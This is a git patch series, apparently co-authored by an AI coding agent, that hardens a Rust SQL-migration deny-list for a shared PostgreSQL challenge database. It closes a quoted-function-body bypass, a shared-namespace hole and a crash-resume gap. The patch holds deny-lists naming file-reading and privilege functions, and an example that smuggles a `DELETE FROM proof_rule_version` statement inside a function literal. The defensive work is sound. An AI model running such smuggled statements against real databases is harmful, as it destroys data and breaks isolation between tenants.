the install reached `applied`, which migrations and +rules landed, and the executor binding it resolved. + +#### What an install may not do + +A topic's SQL runs in the **shared** challenge database under a `topic_id` +discriminant, so a migration that reached outside its own namespace could +rewrite another topic's rules or drop the tables scoring reads. Every +statement is therefore checked before the first one executes: + +| Refused | Examples | +|---------|----------| +| **Owned objects** | any `proof_*` object (by prefix, so a table added later is covered), `_sqlx_migrations`, `base_app`, the catalogues | +| **Statements** | `DROP DATABASE`/`SCHEMA`/`ROLE`/`OWNED`/`EXTENSION`, `GRANT`/`REVOKE`, `SET`/`RESET`/`BEGIN`/`COMMIT`, `COPY`, `VACUUM`/`CLUSTER`/`REINDEX`, `SECURITY DEFINER`, `pg_read_file` and friends | +| **Namespace** | every table a statement creates, writes, or reads must be `{topic_id}_*`, `topic_*`, or `{topic_id}.…` | + +Strings, comments, and dollar-quoted **function bodies** are blanked before +scanning, so a denied word inside a literal is data (not a false refusal) and +a denied statement cannot be smuggled in by quoting. Function bodies are +*scanned*, not trusted — they are what runs. + +A bundle's `handler` names the run backend, and only two exist: the generic +in-guest runner (Firecracker) and an operator-baked Harbor adaptor over it. +A path, a URL, or a command line is refused by shape; a well-formed but +unknown id is refused with the allow-list in the message. The **signed +document** keeps sole authority over which *runner* the topic's paid jobs +use; the handler family is recorded for audit. + +#### Fail-closed, and what an operator does next + +An install never publishes an `open` document, so a failed install leaves the +topic **draft or disabled** and miners cannot submit to it. Two failure +shapes: + +- A **pre-flight refusal** (the deny-list, the handler allow-list, the + section shape, an open custom id this host does not register) writes + **nothing at all** — no row, no rule, no table. Fix the bundle and re-run. +- A **step failure** (a migration the database rejected, a store error) + appends a `failed` journal row naming the step. Migrations already applied + stay applied and are recorded, so a re-run **resumes** rather than + restarts. Every refusal prints rollback notes saying exactly what is and is + not changed. + +**Still not implemented:** `topic enable`, `topic disable`, and `topic seal` +exit **3** with a "not implemented in this slice" message — a topic's +lifecycle is the signed document's `status`, so the answer is to re-sign and +re-publish. ## Metric families From 5745b308509c1fb0630f566bd4ef00d7764934e5 Mon Sep 17 00:00:00 2001 From: DroidAgent <154886644+echobt@users.noreply.github.com> Date: Mon, 14 Sep 2026 16:17:04 +0000 Subject: [PATCH 05/11] fix(proof): close three ways the install guard could be walked around MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Greptile found three P1s on #298. All three were real; each is fixed and pinned by a test that fails without the fix. 1. **A single-quoted function body was executed without being scanned.** PostgreSQL accepts `CREATE FUNCTION f() RETURNS void AS 'DELETE FROM proof_rule_version' LANGUAGE sql`, and a string literal is normally *data*, so the scanner blanked it. A topic could therefore install a function that reaches a protected object by wrapping the statement in `AS '…'`. A function definition's literals are code: they are now decoded (`''` → `'`, so an escaped spelling cannot hide a statement) and scanned exactly as a dollar-quoted body is. 2. **The generic `topic_` prefix was a shared namespace, not a boundary.** Every topic shares one database, so `topic_scores` is one table that every topic's install can reach — approving it for topic A would let A write, truncate, or redefine the table B created. The allowance is gone: a name is the topic's only if it is `{topic_id}_*` or `{topic_id}.…`. Writing the test for this found a second hole: a table name after `TRUNCATE` was never checked at all, because the verb was not in the keyword list the scanner follows. Both are fixed, and `DELETE FROM x` still resolves to `x` rather than to `from`. 3. **A committed migration could be lost on a crash.** The migration and the journal row that records it committed in separate transactions, so a crash in between left a migration applied with nothing recording it; a resume re-applied it, and ordinary non-idempotent DDL (`CREATE TABLE`) failed on a duplicate relation. The row is now written **in the same transaction** as the migration it names, so the two states reachable are "applied and recorded" or "neither". A resume reads the progress rows, which is what makes it correct rather than lucky. The guard moves to its own crate (`proof-topic-sql-guard`): it is pure text analysis, and `proof-topic-install` had crossed the 1500 non-test LOC cap. Separating it also means the rules can be tested — and read — without a database. Tests: 58 in the two crates, including a crash-resume test that fails without fix 3, an escaped-quote test that fails without fix 1, and a cross-topic test that fails without fix 2. The 11 DB-backed engine tests pass against a real Postgres. Co-authored-by: factory-droid[bot] <138933559+factory-droid[bot]@users.noreply.github.com> --- Cargo.lock | 8 + crates/proof-topic-install/Cargo.toml | 1 + crates/proof-topic-install/src/install.rs | 74 ++++++-- crates/proof-topic-install/src/lib.rs | 34 ++-- crates/proof-topic-install/src/section.rs | 2 +- .../tests/handler_allowlist.rs | 4 +- .../tests/install_engine.rs | 127 ++++++++++++- crates/proof-topic-sql-guard/Cargo.toml | 17 ++ .../src/lib.rs} | 174 +++++++++++++++--- .../tests/sql_guard.rs | 153 +++++++++++---- 10 files changed, 486 insertions(+), 108 deletions(-) create mode 100644 crates/proof-topic-sql-guard/Cargo.toml rename crates/{proof-topic-install/src/sql_guard.rs => proof-topic-sql-guard/src/lib.rs} (79%) rename crates/{proof-topic-install => proof-topic-sql-guard}/tests/sql_guard.rs (78%) diff --git a/Cargo.lock b/Cargo.lock index 3f541b38f..3432426e0 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -4065,6 +4065,7 @@ dependencies = [ "proof-rlm-store", "proof-task", "proof-topic-bundle", + "proof-topic-sql-guard", "serde", "serde_json", "sha2 0.10.9", @@ -4073,6 +4074,13 @@ dependencies = [ "tokio", ] +[[package]] +name = "proof-topic-sql-guard" +version = "0.1.0" +dependencies = [ + "thiserror 2.0.19", +] + [[package]] name = "proof-vm-agent" version = "0.1.0" diff --git a/crates/proof-topic-install/Cargo.toml b/crates/proof-topic-install/Cargo.toml index c8f2ecb9e..2a047a7ff 100644 --- a/crates/proof-topic-install/Cargo.toml +++ b/crates/proof-topic-install/Cargo.toml @@ -15,6 +15,7 @@ proof-rlm = { path = "../proof-rlm" } proof-rlm-store = { path = "../proof-rlm-store" } proof-task = { path = "../proof-task" } proof-topic-bundle = { path = "../proof-topic-bundle" } +proof-topic-sql-guard = { path = "../proof-topic-sql-guard" } serde = { version = "1", features = ["derive"] } serde_json = "1" sha2 = "0.10" diff --git a/crates/proof-topic-install/src/install.rs b/crates/proof-topic-install/src/install.rs index 4441bab88..4eae54fab 100644 --- a/crates/proof-topic-install/src/install.rs +++ b/crates/proof-topic-install/src/install.rs @@ -5,7 +5,7 @@ //! completes or stops the install with a named reason: //! //! 1. **Migrations** — the topic's SQL, applied through the deny-list -//! ([`crate::sql_guard`]). A statement touching a `proof_*` object, a +//! ([`proof_topic_sql_guard`]). A statement touching a `proof_*` object, a //! role, or another topic's namespace is refused *before* the first one //! runs, so a bundle cannot leave half its migrations applied. Resumable //! by journal: a migration whose name already appears in this topic's @@ -66,8 +66,8 @@ use sqlx::PgPool; use crate::handler::{bound_runner, Handler}; use crate::section::{ApiRoute, SectionPlan, MAX_MIGRATIONS}; -use crate::sql_guard::{check_migration, Statement}; use crate::InstallError; +use proof_topic_sql_guard::{check_migration, Statement}; /// VMs one submission may use. **1**, always. /// @@ -292,15 +292,22 @@ impl Installer<'_> { setup: SetupSummary, ) -> Result { let already = self.applied_migrations(&request.topic.id).await?; - let mut applied = Vec::new(); + let mut applied: Vec = already.iter().cloned().collect(); + applied.sort(); + let mut applied_now = Vec::new(); let mut skipped = Vec::new(); for (name, statements) in checked { if already.contains(name) { skipped.push(name.clone()); continue; } - self.run_migration(name, statements).await?; + // The migration and the journal row that records it commit in + // **one** transaction, so a crash cannot leave a migration applied + // with no durable record of it. See `run_migration`. + self.run_migration(request, name, statements, &applied) + .await?; applied.push(name.clone()); + applied_now.push(name.clone()); } let apis = self.register_apis(&request.topic.id, &plan.apis).await?; @@ -322,7 +329,7 @@ impl Installer<'_> { topic_id: request.topic.id.clone(), bundle_digest: request.bundle_digest.clone(), environment: request.environment.clone(), - migrations_applied: applied, + migrations_applied: applied_now, migrations_skipped: skipped, apis, rules_version: rules.version, @@ -335,10 +342,11 @@ impl Installer<'_> { /// Migration names this topic has already applied, from the journal. /// - /// The union over `pending` and `applied` rows is deliberate: a run that - /// crashed after applying a migration but before journaling `applied` - /// still gets credit for it, so a resume does not re-apply a statement - /// whose `CREATE TABLE` would now fail. + /// Every row this reads was written **in the same transaction as the + /// migration it names**, so the set is exactly the migrations whose + /// effects are durably in the database. A run that crashed mid-way leaves + /// a `pending` row naming the migrations that committed before the crash, + /// and a resume skips them. async fn applied_migrations(&self, topic_id: &str) -> Result, InstallError> { let rows: Vec<(serde_json::Value,)> = sqlx::query_as( "SELECT migrations FROM proof_topic_install \ @@ -361,15 +369,32 @@ impl Installer<'_> { Ok(out) } - /// Run one migration's statements in one transaction. + /// Run one migration's statements **and record it, in one transaction**. /// - /// All-or-nothing per migration: a failure on the third statement of a - /// migration leaves none of that migration applied, so the journal and - /// the database agree about what landed. + /// All-or-nothing per migration, and — the part that makes resume correct + /// — the journal row that names the migration commits with it. A crash + /// can therefore leave two states and no third: + /// + /// - the migration's effects are in the database *and* the journal names + /// it, so a resume skips it; or + /// - neither is, so a resume applies it. + /// + /// The alternative (apply, commit, then journal separately) has a window + /// where a migration has run and nothing records it: a resume would + /// re-apply it, and ordinary non-idempotent DDL such as `CREATE TABLE` + /// would fail on a duplicate relation. Writing the row inside the same + /// transaction closes that window rather than narrowing it. + /// + /// The row is `pending` with the migrations applied **so far** (including + /// this one). A run that finishes writes its `applied` row afterwards; + /// the `pending` rows are what a resume reads, so an interrupted install + /// resumes from exactly what landed. async fn run_migration( &self, + request: &InstallRequest<'_>, name: &str, statements: &[Statement], + applied_before: &[String], ) -> Result<(), InstallError> { let mut tx = self .pool @@ -386,6 +411,29 @@ impl Installer<'_> { detail: e.to_string(), })?; } + let mut progress: Vec = applied_before.to_vec(); + if !progress.iter().any(|n| n == name) { + progress.push(name.to_owned()); + } + sqlx::query( + "INSERT INTO proof_topic_install \ + (topic_id, bundle_digest, environment, state, migrations, detail) \ + VALUES ($1, $2, $3, 'pending', $4, $5)", + ) + .bind(&request.topic.id) + .bind(&request.bundle_digest) + .bind(&request.environment) + .bind(serde_json::Value::Array( + progress + .iter() + .cloned() + .map(serde_json::Value::String) + .collect(), + )) + .bind(format!("migration {name} applied")) + .execute(&mut *tx) + .await + .map_err(|e| InstallError::Db(e.to_string()))?; tx.commit() .await .map_err(|e| InstallError::MigrationFailed { diff --git a/crates/proof-topic-install/src/lib.rs b/crates/proof-topic-install/src/lib.rs index 6086de3d6..8088d855e 100644 --- a/crates/proof-topic-install/src/lib.rs +++ b/crates/proof-topic-install/src/lib.rs @@ -14,7 +14,7 @@ //! //! | Gate | What it refuses | //! |------|-----------------| -//! | [`sql_guard`] | a migration that names a `proof_*` object, a role, the sqlx bookkeeping table, or any object outside the topic's own namespace; `DROP DATABASE` / `SCHEMA` / `ROLE`; privilege changes; server-side file access; `SECURITY DEFINER` | +//! | [`proof_topic_sql_guard`] | a migration that names a `proof_*` object, a role, the sqlx bookkeeping table, or any object outside the topic's own namespace; `DROP DATABASE` / `SCHEMA` / `ROLE`; privilege changes; server-side file access; `SECURITY DEFINER` | //! | [`handler`] | a handler that is not an allow-listed run backend — never a path, a URL, or a command line | //! //! Both gates run **before** anything is applied, and both refuse on doubt. @@ -23,7 +23,9 @@ //! //! - [`section`] reads the RLM section's parts strictly, and carries the rest. //! - [`install`] is the engine: migrations, routes, rules, binding, journal. -//! - [`sql_guard`] is the migration deny-list. +//! - [`proof_topic_sql_guard`] is the migration deny-list (its own crate: it +//! is pure text analysis, and keeping it separate means it can be reasoned +//! about — and tested — without a database). //! - [`handler`] is the run-backend allow-list. //! //! # What this crate does not do @@ -46,38 +48,28 @@ pub mod handler; pub mod install; pub mod section; -pub mod sql_guard; pub use handler::{bound_runner, check_handler, resolve_handler, Handler, HandlerError}; pub use install::{ install_history, latest_install, topic_routes, ExecutorBinding, InstallReport, InstallRequest, InstallRow, InstallState, Installer, SetupSummary, VMS_PER_SUBMISSION, }; +pub use proof_topic_sql_guard::{ + blank_statements, check_migration, check_statement, is_topic_scoped, split_statements, + MigrationDenied, Statement, DENIED_DROP_KINDS, DENIED_FUNCTIONS, DENIED_OBJECTS, DENIED_VERBS, + OWNED_TABLES, OWNED_TABLE_PREFIX, +}; pub use section::{ is_api_method, is_relative_api_path, read_section, ApiRoute, Migration, SectionPlan, MAX_APIS, MAX_MIGRATIONS, MAX_MIGRATION_SQL_BYTES, READ_KEYS, }; -pub use sql_guard::{ - blank_statements, check_migration, check_statement, is_topic_scoped, split_statements, - Statement, DENIED_DROP_KINDS, DENIED_FUNCTIONS, DENIED_OBJECTS, DENIED_VERBS, OWNED_TABLES, - OWNED_TABLE_PREFIX, -}; /// Why an install refused or failed. #[derive(Debug, Clone, PartialEq, Eq, thiserror::Error)] pub enum InstallError { /// A migration statement reached outside the topic's namespace. - #[error("migration statement {ordinal} denied ({what}): {why}\n statement: {statement}")] - MigrationDenied { - /// 1-based position in the migration's statement list. - ordinal: usize, - /// The statement, shortened. - statement: String, - /// The token or construct that was refused. - what: String, - /// Why it is refused. - why: String, - }, + #[error("{0}")] + MigrationDenied(#[from] MigrationDenied), /// A migration was checked and allowed, then the database refused it. #[error("migration {name:?} failed at statement {ordinal}: {detail}")] MigrationFailed { @@ -168,12 +160,12 @@ mod tests { #[test] fn error_messages_name_the_step_and_stay_actionable() { - let denied = InstallError::MigrationDenied { + let denied = InstallError::MigrationDenied(MigrationDenied { ordinal: 2, statement: "DROP TABLE proof_rule_version".into(), what: "proof_rule_version".into(), why: "owned".into(), - }; + }); let text = denied.to_string(); assert!(text.contains("statement 2"), "{text}"); assert!(text.contains("proof_rule_version"), "{text}"); diff --git a/crates/proof-topic-install/src/section.rs b/crates/proof-topic-install/src/section.rs index e005068f8..3a7eb1ae6 100644 --- a/crates/proof-topic-install/src/section.rs +++ b/crates/proof-topic-install/src/section.rs @@ -10,7 +10,7 @@ //! //! | Part | What the install does with it | //! |------|-------------------------------| -//! | `migrations` | shape-checked, then executed under the SQL deny-list ([`crate::sql_guard`]) | +//! | `migrations` | shape-checked, then executed under the SQL deny-list ([`proof_topic_sql_guard`]) | //! | `apis` | recorded as topic-scoped routes ([`crate::install`]) | //! | `rules` | installed as the topic's first rule version ([`crate::install`]) | //! | `submission_format` | shape-checked and recorded; never interpreted | diff --git a/crates/proof-topic-install/tests/handler_allowlist.rs b/crates/proof-topic-install/tests/handler_allowlist.rs index da2218ab6..429311032 100644 --- a/crates/proof-topic-install/tests/handler_allowlist.rs +++ b/crates/proof-topic-install/tests/handler_allowlist.rs @@ -164,7 +164,7 @@ fn no_challenge_content_is_compiled_into_this_crate() { include_str!("../src/handler.rs"), include_str!("../src/install.rs"), include_str!("../src/section.rs"), - include_str!("../src/sql_guard.rs"), + include_str!("../../proof-topic-sql-guard/src/lib.rs"), ] { let non_test = src.split("#[cfg(test)]").next().unwrap_or(""); let lower = non_test.to_ascii_lowercase(); @@ -198,7 +198,7 @@ fn no_topic_literal_appears_in_this_crates_logic() { include_str!("../src/handler.rs"), include_str!("../src/install.rs"), include_str!("../src/section.rs"), - include_str!("../src/sql_guard.rs"), + include_str!("../../proof-topic-sql-guard/src/lib.rs"), ] { let non_test = src.split("#[cfg(test)]").next().unwrap_or(""); let logic: String = non_test diff --git a/crates/proof-topic-install/tests/install_engine.rs b/crates/proof-topic-install/tests/install_engine.rs index 895ed99ca..3d5fc93b4 100644 --- a/crates/proof-topic-install/tests/install_engine.rs +++ b/crates/proof-topic-install/tests/install_engine.rs @@ -237,11 +237,14 @@ async fn a_denied_migration_writes_nothing_at_all() { ) .await .expect_err("the second statement is denied"); - let InstallError::MigrationDenied { ordinal, what, .. } = &err else { + let InstallError::MigrationDenied(denied) = &err else { panic!("expected MigrationDenied, got {err:?}"); }; - assert_eq!(*ordinal, 2, "the refusal names the offending statement"); - assert!(what.contains("proof_"), "{what}"); + assert_eq!( + denied.ordinal, 2, + "the refusal names the offending statement" + ); + assert!(denied.what.contains("proof_"), "{}", denied.what); // Nothing from the *first* migration landed either. let exists: Option = sqlx::query_scalar("SELECT to_regclass('tb4_ok')::text") @@ -560,17 +563,108 @@ async fn a_migration_reaching_another_namespace_is_refused() { .install(&req, SetupSummary::NotDriven { reason: "x".into() }) .await .expect_err(sql); - let InstallError::MigrationDenied { what, .. } = &err else { + let InstallError::MigrationDenied(denied) = &err else { panic!("{sql}: expected MigrationDenied, got {err:?}"); }; assert!( - what.to_lowercase().contains(&needle.to_lowercase()), - "{sql}: refusal must name {needle:?}, said {what:?}" + denied.what.to_lowercase().contains(&needle.to_lowercase()), + "{sql}: refusal must name {needle:?}, said {:?}", + denied.what ); } tp.drop_schema().await.expect("drop"); } +/// A crash between two migrations cannot lose a committed migration. +/// +/// The failure this pins: if a migration's effects commit but the record of it +/// does not, a resume re-applies it — and ordinary non-idempotent DDL +/// (`CREATE TABLE`) fails on a duplicate relation, leaving the install +/// unresumable. The engine writes the journal row **in the same transaction** +/// as the migration, so those two facts cannot disagree. +/// +/// Simulated by applying the first migration and then failing the second, so +/// the run dies exactly where a crash would, with the first migration's +/// effects and its journal row already durable. +#[tokio::test] +async fn a_crash_between_migrations_does_not_lose_a_committed_one() { + let Some((tp, pool)) = test_pool().await else { + return; + }; + let store = PgRlmStore::new(pool.clone()); + let doc = topic("tb4"); + let installer = Installer { + pool: &pool, + store: &store, + }; + // Migration 1 commits; migration 2 fails in the database. Migration 1's + // `CREATE TABLE` is not idempotent, so re-applying it would error. + let interrupted = r#"{ + "rules": [{"id": "no_short_circuit", "text": "run the task"}], + "migrations": [ + {"name": "0001_first", "sql": "CREATE TABLE tb4_first (id TEXT)"}, + {"name": "0002_boom", "sql": "INSERT INTO tb4_missing (nope) VALUES ('x')"} + ] + }"#; + installer + .install( + &request(&doc, interrupted), + SetupSummary::NotDriven { reason: "x".into() }, + ) + .await + .expect_err("the second migration fails"); + + // The first migration really landed, and the journal durably names it — + // written in the same transaction, so these two facts cannot disagree. + let exists: Option = sqlx::query_scalar("SELECT to_regclass('tb4_first')::text") + .fetch_one(&pool) + .await + .expect("probe"); + assert_eq!(exists.as_deref(), Some("tb4_first")); + let recorded: Vec = + sqlx::query_scalar("SELECT migrations FROM proof_topic_install WHERE topic_id = 'tb4'") + .fetch_all(&pool) + .await + .expect("journal"); + assert!( + recorded.iter().any(|v| v + .as_array() + .is_some_and(|a| a.iter().any(|n| n.as_str() == Some("0001_first")))), + "the committed migration must be durably recorded: {recorded:?}" + ); + + // Resume: the bundle now carries the same first migration (non-idempotent, + // so re-applying it would fail) plus a fixed second one. It must skip the + // first and apply only the second. + let resumed = r#"{ + "rules": [{"id": "no_short_circuit", "text": "run the task"}], + "migrations": [ + {"name": "0001_first", "sql": "CREATE TABLE tb4_first (id TEXT)"}, + {"name": "0002_fixed", "sql": "CREATE TABLE tb4_second (id TEXT)"} + ] + }"#; + let report = installer + .install( + &request(&doc, resumed), + SetupSummary::NotDriven { reason: "x".into() }, + ) + .await + .expect("the resume succeeds: the committed migration is skipped"); + assert_eq!( + report.migrations_applied, + ["0002_fixed"], + "only the unapplied migration runs" + ); + assert_eq!(report.migrations_skipped, ["0001_first"]); + let second: Option = sqlx::query_scalar("SELECT to_regclass('tb4_second')::text") + .fetch_one(&pool) + .await + .expect("probe"); + assert_eq!(second.as_deref(), Some("tb4_second")); + + tp.drop_schema().await.expect("drop"); +} + /// The journal is append-only and its states are exactly the three the /// migration allows: a run that succeeds writes `pending` then `applied`. #[tokio::test] @@ -598,10 +692,19 @@ async fn the_journal_appends_pending_then_applied() { .fetch_all(&pool) .await .expect("states"); + // The journal is a **progress log**, not a single row: one `pending` row + // opens the run, then each migration appends its own `pending` row in the + // migration's own transaction (which is what makes a resume correct), and + // the run closes with `applied`. assert_eq!( states, - ["pending", "applied"], - "the pending row lands first so a crash is visible" + ["pending", "pending", "pending", "applied"], + "two migrations → three pending rows (open + one each) then applied: {states:?}" + ); + assert_eq!( + *states.last().expect("non-empty"), + "applied", + "the run closes with applied" ); for state in &states { assert!( @@ -609,6 +712,14 @@ async fn the_journal_appends_pending_then_applied() { "{state}" ); } + // Every row is one of the three states the migration's CHECK allows, and + // the last one is terminal for a successful run. + let count: i64 = + sqlx::query_scalar("SELECT count(*) FROM proof_topic_install WHERE topic_id = 'tb4'") + .fetch_one(&pool) + .await + .expect("count"); + assert_eq!(count, 4, "one row per durable step plus the closing row"); tp.drop_schema().await.expect("drop"); } diff --git a/crates/proof-topic-sql-guard/Cargo.toml b/crates/proof-topic-sql-guard/Cargo.toml new file mode 100644 index 000000000..d87c9117a --- /dev/null +++ b/crates/proof-topic-sql-guard/Cargo.toml @@ -0,0 +1,17 @@ +[package] +name = "proof-topic-sql-guard" +description = "What a Proof topic's SQL migration may touch: a deny-list over owned objects, statements, and namespaces, scanned before anything executes" +version.workspace = true +edition.workspace = true +license.workspace = true +repository.workspace = true +rust-version.workspace = true +publish = false + +[dependencies] +thiserror = "2" + +[dev-dependencies] + +[lints] +workspace = true diff --git a/crates/proof-topic-install/src/sql_guard.rs b/crates/proof-topic-sql-guard/src/lib.rs similarity index 79% rename from crates/proof-topic-install/src/sql_guard.rs rename to crates/proof-topic-sql-guard/src/lib.rs index 7cd48422a..917669306 100644 --- a/crates/proof-topic-install/src/sql_guard.rs +++ b/crates/proof-topic-sql-guard/src/lib.rs @@ -47,9 +47,34 @@ //! Both are why an install is an **operator** action against an //! operator-published bundle, not a miner-facing path. +#![forbid(unsafe_code)] +#![allow( + clippy::missing_errors_doc, + clippy::module_name_repetitions, + clippy::must_use_candidate, + clippy::doc_markdown +)] + use std::collections::BTreeSet; -use crate::InstallError; +/// Why a migration statement was refused. +/// +/// This crate owns its error rather than reusing the installer's, so the +/// guard is a self-contained rule: a caller can check a migration without +/// pulling in a database, a store, or a topic. The installer wraps this in +/// its own [`MigrationDenied`]. +#[derive(Debug, Clone, PartialEq, Eq, thiserror::Error)] +#[error("migration statement {ordinal} denied ({what}): {why}\n statement: {statement}")] +pub struct MigrationDenied { + /// 1-based position in the migration's statement list. + pub ordinal: usize, + /// The statement, shortened. + pub statement: String, + /// The token or construct that was refused. + pub what: String, + /// Why it is refused. + pub why: String, +} /// Prefix every object this repository owns carries. /// @@ -151,7 +176,14 @@ pub const DENIED_FUNCTIONS: [&str; 8] = [ ]; /// Keywords after which a table name appears. -const TABLE_KEYWORDS: [&str; 6] = ["FROM", "JOIN", "INTO", "UPDATE", "TABLE", "INDEX"]; +/// +/// `TRUNCATE` and `DELETE` are here for the same reason as `FROM`: the object +/// they act on is the whole point of the statement, so it has to be checked. +/// A verb whose table is not in this list would let a topic name an object +/// outside its namespace and never be asked about it. +const TABLE_KEYWORDS: [&str; 8] = [ + "FROM", "JOIN", "INTO", "UPDATE", "TABLE", "INDEX", "TRUNCATE", "DELETE", +]; /// One statement, in both the forms the guard needs. #[derive(Debug, Clone, PartialEq, Eq)] @@ -250,12 +282,7 @@ pub fn split_statements(sql: &str) -> Vec { } ';' => { if !text.trim().is_empty() { - out.push(Statement { - ordinal: out.len() + 1, - text: text.trim().to_owned(), - blanked: blanked.trim().to_owned(), - bodies: bodies.trim().to_owned(), - }); + out.push(finish_statement(out.len() + 1, &text, &blanked, &bodies)); } text.clear(); blanked.clear(); @@ -266,12 +293,86 @@ pub fn split_statements(sql: &str) -> Vec { } } if !text.trim().is_empty() { - out.push(Statement { - ordinal: out.len() + 1, - text: text.trim().to_owned(), - blanked: blanked.trim().to_owned(), - bodies: bodies.trim().to_owned(), - }); + out.push(finish_statement(out.len() + 1, &text, &blanked, &bodies)); + } + out +} + +/// Build a [`Statement`], adding any single-quoted **function body** to the +/// scanned bodies. +/// +/// PostgreSQL accepts a function body as a single-quoted string as well as a +/// dollar-quoted one: +/// +/// ```sql +/// CREATE FUNCTION f() RETURNS void AS 'DELETE FROM proof_rule_version' LANGUAGE sql; +/// ``` +/// +/// The string-literal branch blanks that body in `blanked` (a literal is +/// normally *data*, not code), so without this step the body would be executed +/// without ever being scanned — a topic could install a function that reaches +/// a `proof_*` object by wrapping the statement in `AS '…'`. When the +/// statement is a function definition, its string literals are therefore +/// decoded and appended to [`Statement::bodies`], which +/// [`check_statement`] scans exactly as it scans a dollar-quoted body. +/// +/// The detection is deliberately broad: any statement mentioning `FUNCTION` +/// and `AS` has its literals scanned. A false positive costs a migration +/// nothing (its literals are inert text that will not match a deny rule); a +/// false negative would be the hole above. +fn finish_statement(ordinal: usize, text: &str, blanked: &str, bodies: &str) -> Statement { + let mut bodies = bodies.to_owned(); + if is_function_definition(blanked) { + for literal in single_quoted_literals(text) { + bodies.push(' '); + bodies.push_str(&literal); + } + } + Statement { + ordinal, + text: text.trim().to_owned(), + blanked: blanked.trim().to_owned(), + bodies: bodies.trim().to_owned(), + } +} + +/// Whether a statement defines a function (so its string literals are code). +fn is_function_definition(blanked: &str) -> bool { + has_word(blanked, "FUNCTION") && has_word(blanked, "AS") +} + +/// Every single-quoted literal in `text`, decoded (`''` → `'`). +/// +/// Doubled quotes are decoded so the scanned text is what PostgreSQL would +/// execute, not the escaped spelling: a body that smuggles a denied statement +/// as `''`-escaped text is still caught. +fn single_quoted_literals(text: &str) -> Vec { + let chars: Vec = text.chars().collect(); + let mut out = Vec::new(); + let mut i = 0usize; + while i < chars.len() { + if chars[i] != '\'' { + i += 1; + continue; + } + i += 1; + let mut literal = String::new(); + while i < chars.len() { + if chars[i] == '\'' { + if chars.get(i + 1) == Some(&'\'') { + literal.push('\''); + i += 2; + continue; + } + i += 1; + break; + } + literal.push(chars[i]); + i += 1; + } + if !literal.trim().is_empty() { + out.push(literal); + } } out } @@ -518,10 +619,17 @@ fn is_function_call(statement: &str, name: &str) -> bool { } /// Keywords that are never a table name in the position the scanner reads. +/// +/// `FROM` is here because `DELETE` and `TRUNCATE` are keywords a table name +/// follows: in `DELETE FROM x`, the token after `DELETE` is `FROM`, and the +/// table is the token after *that*. Skipping a keyword here is what lets the +/// scan continue to the real name instead of refusing the statement for +/// naming `from`. fn is_sql_keyword(tok: &str) -> bool { matches!( tok, "select" + | "from" | "where" | "values" | "set" @@ -558,8 +666,26 @@ fn copy_chars( /// Whether `name` is inside `topic_id`'s namespace. /// -/// `{topic_id}.scores`, `{topic_id}_scores`, and the generic `topic_scores` -/// are the topic's. Anything else is another topic's — or this repository's. +/// Two spellings are the topic's, and only two: +/// +/// - a `{topic_id}`-qualified name (`tb4.scores`, `tb4.runs`), or +/// - a bare `{topic_id}_`-prefixed name (`tb4_scores`). +/// +/// # Why there is no generic `topic_` allowance +/// +/// An earlier revision also accepted any `topic_*` name, on the theory that a +/// shared prefix was a convenient place for a topic's scratch tables. It is +/// not: every topic shares one database, so `topic_scores` is *one* table that +/// every topic's install can reach. A migration approved for topic A could +/// then write, truncate, or redefine the table topic B created — the prefix +/// would be a naming convention, not an isolation boundary, and this guard's +/// whole job is to be the boundary. +/// +/// Namespacing by the topic's own id is what makes "a topic may only touch its +/// own objects" enforceable by string comparison. A topic that wants a shared +/// table needs an operator-owned object created by a migration in +/// `crates/db/migrations/`, which is exactly the review this guard exists to +/// force. #[must_use] pub fn is_topic_scoped(name: &str, topic_id: &str) -> bool { let n = name.trim().trim_matches('"').to_ascii_lowercase(); @@ -574,7 +700,7 @@ pub fn is_topic_scoped(name: &str, topic_id: &str) -> bool { if schema == Some(topic.as_str()) { return true; } - bare.starts_with(&format!("{topic}_")) || bare.starts_with("topic_") + bare.starts_with(&format!("{topic}_")) } /// Check a statement's text against every deny rule. @@ -586,11 +712,11 @@ fn check_text( text: &str, topic_id: &str, where_: &str, -) -> Result<(), InstallError> { +) -> Result<(), MigrationDenied> { if text.trim().is_empty() { return Ok(()); } - let deny = |what: &str, why: &str| InstallError::MigrationDenied { + let deny = |what: &str, why: &str| MigrationDenied { ordinal: statement.ordinal, statement: truncate(&statement.blanked, 160), what: what.to_owned(), @@ -678,9 +804,9 @@ fn check_text( /// /// # Errors /// -/// [`InstallError::MigrationDenied`] naming the statement ordinal, the +/// [`MigrationDenied`] naming the statement ordinal, the /// offending token, and why. -pub fn check_statement(statement: &Statement, topic_id: &str) -> Result<(), InstallError> { +pub fn check_statement(statement: &Statement, topic_id: &str) -> Result<(), MigrationDenied> { check_text(statement, &statement.blanked, topic_id, "statement")?; check_text(statement, &statement.bodies, topic_id, "function body") } @@ -689,11 +815,11 @@ pub fn check_statement(statement: &Statement, topic_id: &str) -> Result<(), Inst /// /// # Errors /// -/// The first [`InstallError::MigrationDenied`]. -pub fn check_migration(sql: &str, topic_id: &str) -> Result, InstallError> { +/// The first [`MigrationDenied`]. +pub fn check_migration(sql: &str, topic_id: &str) -> Result, MigrationDenied> { let statements = split_statements(sql); if statements.is_empty() { - return Err(InstallError::MigrationDenied { + return Err(MigrationDenied { ordinal: 0, statement: String::new(), what: "empty migration".to_owned(), diff --git a/crates/proof-topic-install/tests/sql_guard.rs b/crates/proof-topic-sql-guard/tests/sql_guard.rs similarity index 78% rename from crates/proof-topic-install/tests/sql_guard.rs rename to crates/proof-topic-sql-guard/tests/sql_guard.rs index cf5b9e35c..73c4d261c 100644 --- a/crates/proof-topic-install/tests/sql_guard.rs +++ b/crates/proof-topic-sql-guard/tests/sql_guard.rs @@ -12,19 +12,17 @@ #![allow(clippy::unwrap_used, clippy::expect_used)] -use proof_topic_install::sql_guard::{ +use proof_topic_sql_guard::MigrationDenied; +use proof_topic_sql_guard::{ blank_statements, check_migration, is_topic_scoped, split_statements, OWNED_TABLES, }; -use proof_topic_install::InstallError; const TOPIC: &str = "tb4"; /// Assert a migration is refused, naming `needle` in the refusal. fn refused(sql: &str, needle: &str) { let err = check_migration(sql, TOPIC).expect_err(&format!("must refuse: {sql}")); - let InstallError::MigrationDenied { what, why, .. } = &err else { - panic!("expected MigrationDenied for {sql:?}, got {err:?}"); - }; + let MigrationDenied { what, why, .. } = &err; let text = format!("{what} {why}"); assert!( text.to_lowercase().contains(&needle.to_lowercase()), @@ -62,9 +60,7 @@ fn no_topic_migration_may_touch_a_proof_table() { format!("CREATE INDEX ON {table} 